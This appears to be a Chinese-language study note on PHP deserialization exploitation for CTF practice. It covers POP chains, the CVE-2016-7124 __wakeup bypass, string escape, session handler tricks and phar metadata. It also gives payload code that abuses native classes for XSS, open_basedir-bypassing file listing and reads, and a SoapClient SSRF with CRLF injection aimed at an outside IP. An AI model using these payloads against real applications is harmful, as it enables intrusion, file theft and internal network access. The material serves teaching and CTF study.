前言

将对象转为字节流存储到硬盘上,当JVM停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象,并且序列化的二进制序列能够减少存储空间(永久性保存对象)
序列化成字节流形式的对象可以进行网络传输(二进制形式),方便了网络传输。

php反序列化

序列化格式

序列化后的内容只有成员变量,没有成员函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
O:4:"eeee":1:
{
s:3:"obj";O:5:"Start":2:
{
s:4:"name";O:3:"Sec":2:
{
s:8:"%00Sec%00obj";O:4:"Easy":1:{s:3:"cla";N;}
s:3:"var"; N; //r:1
}
s:7:"%00*%00func";O:3:"Sec":2:
{
s:8:"%00Sec%00obj";O:4:"Easy":1:{s:3:"cla";N;}
s:3:"var";N;
}
}
}
protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
private: 属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变
a - array b - boolean

d - double i - integer

o - common object r - reference

s - string C - custom object

O - class N - null

R - pointer reference U - unicode string
PHP 只对对象在序列化时才会生成对象引用标示(r),如果明确使用了 & 符号作的引用,在序列化时,会被序列化为指针引用标示(R)。
对象引用(r)和指针引用(R)的格式为:

r :< number >;
R :< number >;
number 为序列化对象位置

例如·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class ClassA {
public $int=1;
public $intt=1;
public $str="123";
public $classc;
public $bool ;
public $obj ;
public $pr ;
}
$a = new ClassA () ;
$a -> classc = new ClassA () ;
$a -> int = 1 ;
$a -> intt = 2 ;
$a -> str = " Hello " ;
$a -> bool = false ;
$a -> obj = $a->intt ;
$a -> pr = & $a -> bool ;
echo urlencode(serialize ( $a )) ;
O:6:"ClassA":7:{s:3:"int";i:1;s:4:"intt";i:2;s:3:"str";s:7:" Hello ";s:6:"classc";O:6:"ClassA":7:{s:3:"int";i:1;s:4:"intt";i:1;s:3:"str";s:3:"123";s:6:"classc";N;s:4:"bool";N;s:3:"obj";N;s:2:"pr";N;}s:4:"bool";b:0;s:3:"obj";i:2;s:2:"pr";R:13;}

pop链

在反序列化后,会进行变量覆盖(就算原本的类里没有声明这个变量也可以覆盖).不会触发类方法,但会触发魔术方法

魔术方法

1.首先需要触发反序列化
魔术方法的对象为类,pop链一般由__destruct()和__wakeup()触发(即反序列化的结束),如果在__destruct和__wakeup()中
2.(以不恰当的方法处理对象),而
3.(对象中恰有相对应的魔术方法),就会触发该方法,不断触发魔术方法后,最终在最后一个魔术方法中触发危险函数以达到目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__construct                                         当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__sleep() 使用serialize时触发

__wakeup() 使用unserialize时触发

__toString 当一个对象被当作一个字符串被调用。

__invoke() 当脚本尝试将对象调用为函数时触发本特性(只在 PHP 5.3.0 及以上版本有效。)

__isset($var) 在不可访问的属性上调用isset()或empty()触发( isset () 函数用于检测变量是否已设置并且非 NULL,empty () 函数用于检查一个变量是否为空)

__unset($var) 在不可访问的属性上使用unset()时触发(unset() — 释放给定的变量)

__get($var) 用于从不可访问的属性读取数据,或者说是调用一个类及其父类方法中未定义属性时

__set($val,$value) 用于将数据写入不可访问的属性,或者修改一个不能被修改的属性时(private protected)

__call($function_name,$arguments) 在对象上下文中调用不可访问的方法时触发,或者是不可访问方法时被调用,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数

__callStatic() 在静态上下文中调用不可访问的方法时触发,如thinlphp5.1中Request::param

__clone() 当对象复制完成时调用(通过clone关键字克隆了一个对象的时候)
__construct()和__destruct()

__construct:当对象创建时会自动调用,也就是说有new的时候就会调用,在unserialize时是不会被自动调用的,此方法常用在构造反序列化的pop链上

__destruct():当对象被销毁时会自动调用;

__sleep()和__wakeup()

__sleep() :在对象被序列化之前被调用,就是说看到serialize时就会被调用,而且是先调用后再执行序列化

__wakeup(): 将在字符串被反序列化之后被立即调用,就是说看到unserialize后就会被立即调用(优先等级比__destruct()高)

wakeup()魔法函数绕过(PHP反序列化漏洞CVE-2016-7124)

适用php版本
PHP5.0.0<5.6.25
PHP7.0.0<7.0.10

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

php反序列化字符逃逸

$str='O:6:"people":2:{s:5:"name";s:3:"aaa";s:3:"sex";s:3:"boy";}';
在php序列化后,形成的字符串的大小和元素的数量是被限定的,且受格式的限制,贸然处理该字符串使字符串的某个‘值’大小变化,会导致字符串无法被反序列化
输入恰好的字符串长度,使其处理后还符合php序列化格式,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。

序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会影响反序列化。

字符减少

处理前
a:2:{s:7:”flagphp”;s:48:”;s:1:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”;
s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}
处理后
a:2:{s:7:””;s:48:”;s:1:”a”;
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”;
s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

字符增多

处理前
O:1:”A”:2:{s:4:”name”;s:52:”aaaaaaaaaaaaaaaaaaaaaaaaaa”;s:6:”passwd”;s:3:”123”;}”;s:6:”passwd”;s:3:”321”;}
处理后
O:1:”A”:2:{s:4:”name”;s:52:”bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb”;s:6:”passwd”;s:3:”123”;}”;s:6:”passwd”;s:3:”321”;}

Session反序列化

在 PHP 中启动会话,session_start — 启动新会话或者重用现有会话
session_start(array $options = array()): bool
session.save_path:这个是session的存储路径,也就是sess_session_id文件存储的路径
session.auto_start:这个开关是指定是否在请求开始时就自动启动一个会话,默认为Off
session.save_handler:这个是设置用户自定义session存储的选项,默认是files,也就是以文件的形式来存储的

  1. 启动新会话
    在默认files的情况下,如果没要session或者COOKIE中的PHPSESSID没有对应的文件,则会新生成一个session_id,存入COOKIE中的PHPSESSID中,并生成一个名为“sess_”+“session_id”的文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。
    若session.use_strict_mode值为0(默认值)。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。
  2. 重用现有会话
    当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

    session序列化存储的格式

    session.serialize_handler,用来定义session序列化存储所用的处理器的名称,不同的处理器序列化以及读取出来会产生不同的结果;默认的处理器为php
  3. 处理器php
    它处理之后的格式是键名+竖线|+经过serialize()序列化处理后的值
    wllm|s:4:"yyds";LTLT|s:5:"ddwhm";
  4. 处理器php_binary
    键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理后的值;
    WLLMS:4:""yyds; LTLTS:5:"ddwhm"
  5. 处理器php_serialize(php>5.5.4)
    直接进行序列化,把session中的键和值都会被进行序列化操作,且放在一个数组中
    a:2:{s:4:"wllm":s:4:"yyds";s:4:"LTLT";s:5:"dddwh"}

    Session反序列化原理

    在重用现有会话,处理器php会以遇到的第一个“|”为分界线,前为键,后为值,将值反序列化,简单粗暴;

在我们传入的序列化内容前加一个分隔符|,利用不同处理器序列化的差异,序列化我们想要的结果

Session反序列化的利用

phar反序列化(5.3<=php<=7.4默认开启支持)

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。

phar://伪协议会把任何文件当作phar文件处理,并不经解压直接访问phar文件下的文件(如果phar中只有一个文件,则默认读取该文件,不受phar文件名后内容的影响)
a:1:{s:4:“name”;s:199:”|O:10:”SoapClient”:3:{s:3:”uri”;s:25:”http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}"}
phar文件是由四部分组成的:

1.stub:可以理解为是phar文件的标志,就像GIF89a是图片头一样,它的格式为:xxxxx,前面内容没有限制,什么都行,只是结尾必须是__HALT_COMPILER();?>,否则将不能被识别为phar文件

2.manifest describing the contents:这里存放着压缩文件的信息,每个被压缩文件的权限,属性等信息都放在这里,这里还会以序列化的形式存储着用户自定义的meta-data,当php的文件操作函数通过phar://伪协议解析phar文件时会先自动先将meta-data进行反序列化

3.the file contents:被压缩文件的内容,这个随便是啥都不影响

4.signature for verifying Phar integrity:签名,放在文件末尾

其实这四条只有前面两条比较重要,后两条都是来打酱油的,总结下来就是两点:一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容是没有限制的,也就是说我们可以构造一个图片文件或者pdf文件来绕过上传的限制,将这个phar文件上传上去;二是phar文件存储meta-data时会先将内容序列化后再存入进去,当文件操作函数通过phar://伪协议解析phar文件时就会先将数据反序列化,这样就可以构成反序列化攻击,而文件操作函数有很多,下面就讲它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
header("Content-Type:text/html;charset=utf-8");
class Test{
public $name='ArseneTang';
}
$a = new Test();
$phar = new Phar("phar.phar"); //生成一个phar文件,名字为phar.phar
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub头
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","testaaa"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa
$phar -> stopBuffering();//写入结束之后记得stopBuffering停止缓冲
?>

<?php __HALT_COMPILER(); ?>
b    , O:4:"Test":1:{s:4:"name";s:10:"ArseneTang";} test.txt ÇE@c D²ˆ¶ testaaaG4j|qeV|‹î7´ôXà \
œ GBMB

在有反序列化漏洞的文件下,利用文件操作函数(函数利用范围更广)以phar://伪协议访问我们上传的phar下的文件,就会使我们设置在该文件上的Metadata在系统文件下反序列化

php原生类的利用

PHP原生类就是在标准PHP库中已经封装好的类,而这里面有一些类可以实现目录遍历,文件读取,发起请求等

但其中只有一小部分是我们可以利用的,一般比较常见的如下:

Error实现XSS(php7)

类的构造方法接受两个可选参数 —— 一个消息字符串和一个错误码(用于分配不同的类)
同时这个类中还有一个内置方法**__toString()**的魔术方法,它会将Error以字符串的形式输出到页面上
格式为Error: <script>alert(1)</script> in D:\phpstudy_pro\WWW\2.php:13 Stack trace: #0 {main}

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$a = $_GET[1];
echo unserialize($a);
?>

<?php
$a = new Error("<script>alert(1)</script>",1);
echo urlencode(serialize($a));
?>

QQ截图20221103093611

Exception内置类

适用于php5、7版本
开启报错的情况下
原理是类似的

  1. 文件类
  • 遍历目录
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    $dirname = new DirectoryIterator("glob:///*f*");
    echo $dirname;//DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将触发__toString()而返回迭代器的第一项
    ?a=DirectoryIterator&b=glob:\/\/f* //可以使用glob协议

    //FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多

    <?php
    $dir = new GlobIterator("/*.txt"); //自带glob
    echo $dir;
    //这三种遍历目录的方法可以无视open_basedir对目录的限制
  • 读取文件
    1
    2
    3
    4
    <?php
    highlight_file(__file__);
    $context = new SplFileObject('/f1agaaa');
    echo $context;//每次只能读取文件中的一行内容
    一行完整读取
    ?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

利用SoapClient实现SSRF

WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。
SOAP,作为webService三要素(SOAP、WSDL、UDDI)之一
UDDI (Universal Description Discovery and Integration)通用描述发现和集成
WSDL (WebService Description Language) WebService描述语言
SOAP (Simple Object Access Protocol) 简单对象访问协议
可基于HTTP协议,采用XML格式,用来传递信息的格式。

PHP中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的

1
2
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed

类的构造方法接受两个可选参数—
第一个参数$wsdl用来指明是否为wsdl模式,在wsdl模式的情况下,$options参数是可选的,也就是说可以没有;
但在非wsdl模式下,就必须要设置location和uri选项,其中location是我们要将请求发送到的SOAP服务器的URL,也就是目标URL

在SoapClient类中,还有一个魔术方法,**__call()**方法,当触发这个方法后,它就会向location中的目标URL发送一个soap请求
参数$options里选项user_agent,用这个可以控制HTTP数据包中头部User-Agent的值

利用SoapClient进行SSRF攻击内网,然后配合CRLF构造出POST请求可以拓展我们的攻击面

1
2
3
4
5
6
7
8
<?php
$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
2025/4/6补充-关于CRLF

因为这个漏洞过于简单,应用场景也不是很复杂,就是http请求或者响应生成时没过滤回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),很多web语言现在都没有这个漏洞了,网上也没什么文章,所以就不值得我在写一篇文章记录了,想到之前打ctf有遇到过crlf就写在这里了。

CRLF分为两种一种是构造http响应包的CRLF,可以导致的反射xss,一开始我还很兴奋以为发现新的xss技巧那,但是这个目前只有那些转载面经里有提到,我用php5.2都没复现成功,太鸡肋了,实战中几乎不可能遇到。

一种就是构造http请求的CRLF,包括上文说到的php SoapClient,还有:
net/http < 1.11 CRLF https://github.com/golang/go/issues/30794
Python urllib CRLF 注入漏洞(CVE-2019-9740)[Python 2<2.7.16,Python 3<3.7.2]

这两个都是2019年的CRLF,请求包crlf漏洞的作用就是自定义数据包,然后打打redis什么的,先这样吧,也是解决了当时一直搞不明白的一个问题点,ctf里偏题太多了